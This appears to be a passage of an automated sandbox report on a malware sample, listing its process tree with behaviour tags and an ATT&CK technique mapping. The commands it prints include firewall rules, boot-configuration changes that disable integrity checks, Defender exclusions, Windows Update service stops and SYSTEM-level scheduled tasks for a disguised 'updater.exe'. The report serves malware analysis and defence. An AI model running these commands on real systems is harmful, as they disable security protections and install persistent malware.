    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:1916
  - - C:\Windows\rss\csrss.exe
      C:\Windows\rss\csrss.exe
      4⤵
      PID:860
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        5⤵
        DcRat
        Executes dropped EXE
        Loads dropped DLL
        Creates scheduled task(s)
        
        PID:1624
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        5⤵
        
        PID:768
    - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        5⤵
        
        PID:2688
    - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        5⤵
        
        PID:2776
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1684
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2480
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:912
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2072
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1732
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1460
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2812
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1476
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2684
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2744
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2652
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        6⤵
        Modifies boot configuration data using bcdedit
        Executes dropped EXE
        
        PID:1800
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1896
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1948
    - - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        5⤵
        
        PID:1576
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        5⤵
        DcRat
        Creates scheduled task(s)
        
        PID:2788
    - - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        5⤵
        
        PID:1568
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        
        PID:956
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        Launches sc.exe
        
        PID:1992
- C:\Users\Admin\AppData\Local\Temp\kos1.exe
  "C:\Users\Admin\AppData\Local\Temp\kos1.exe"
  2⤵
  PID:1624
- - C:\Users\Admin\AppData\Local\Temp\set16.exe
    "C:\Users\Admin\AppData\Local\Temp\set16.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2140
  - - C:\Users\Admin\AppData\Local\Temp\is-JQI4N.tmp\is-741G0.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-JQI4N.tmp\is-741G0.tmp" /SL4 $1027A "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1232936 52224
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Program Files directory
      PID:1996
    - - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 8
        5⤵
        
        PID:2144
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 8
        6⤵
        
        PID:2740
    - - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -i
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2816
    - - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -s
        5⤵
        
        PID:2476
- - C:\Users\Admin\AppData\Local\Temp\kos.exe
    "C:\Users\Admin\AppData\Local\Temp\kos.exe"
    3⤵
    - Executes dropped EXE
    PID:432
- C:\Users\Admin\AppData\Local\Temp\latestX.exe
  "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
  2⤵
  PID:1800

C:\Users\Admin\AppData\Local\Temp\1CEA.exe
C:\Users\Admin\AppData\Local\Temp\1CEA.exe
1⤵
- Executes dropped EXE
PID:2840

C:\Users\Admin\AppData\Local\Temp\2303.exe
C:\Users\Admin\AppData\Local\Temp\2303.exe
1⤵
- Executes dropped EXE
PID:2972
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2972 -s 508
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:2928

C:\Users\Admin\AppData\Local\Temp\25B3.exe
C:\Users\Admin\AppData\Local\Temp\25B3.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2448

C:\Users\Admin\AppData\Local\Temp\3434.exe
C:\Users\Admin\AppData\Local\Temp\3434.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1832
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  PID:2044

C:\Users\Admin\AppData\Local\Temp\56A3.exe
C:\Users\Admin\AppData\Local\Temp\56A3.exe
1⤵
- Executes dropped EXE
PID:832
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 832 -s 516
  2⤵
  - Program crash
  PID:2280

C:\Windows\system32\taskeng.exe
taskeng.exe {408DECA4-195F-4BEB-8354-7B97711DE93A} S-1-5-21-86725733-3001458681-3405935542-1000:ZWKQHIWB\Admin:Interactive:[1]
1⤵
PID:1556
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:1524
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:1976

C:\Users\Admin\AppData\Local\Temp\5F1D.exe
C:\Users\Admin\AppData\Local\Temp\5F1D.exe
1⤵
PID:2428
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2428 -s 524
  2⤵
  - Program crash
  PID:1988

C:\Users\Admin\AppData\Local\Temp\6813.exe
C:\Users\Admin\AppData\Local\Temp\6813.exe
1⤵
PID:2588

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231011141317.log C:\Windows\Logs\CBS\CbsPersist_20231011141317.cab
1⤵
PID:2004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:2452

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1948
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2344
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2116
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2268
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:1344
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:2564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:2124
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
  2⤵
  - DcRat
  - Creates scheduled task(s)
  PID:3028

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:3052
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:2364
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:2480
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:2808
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2684

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:1920

C:\Windows\system32\taskeng.exe
taskeng.exe {A4574B7F-4F04-4116-AC86-AFC46B54A45E} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1052
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  PID:1524

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:880

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:2404
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1140
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2500
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2364
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:2484
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:2480
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
  2⤵
  - DcRat
  - Creates scheduled task(s)
  PID:2044

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:1684
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:1644
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:1772
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:624
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2696

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
1⤵
PID:2472

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Scripting

T1064

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry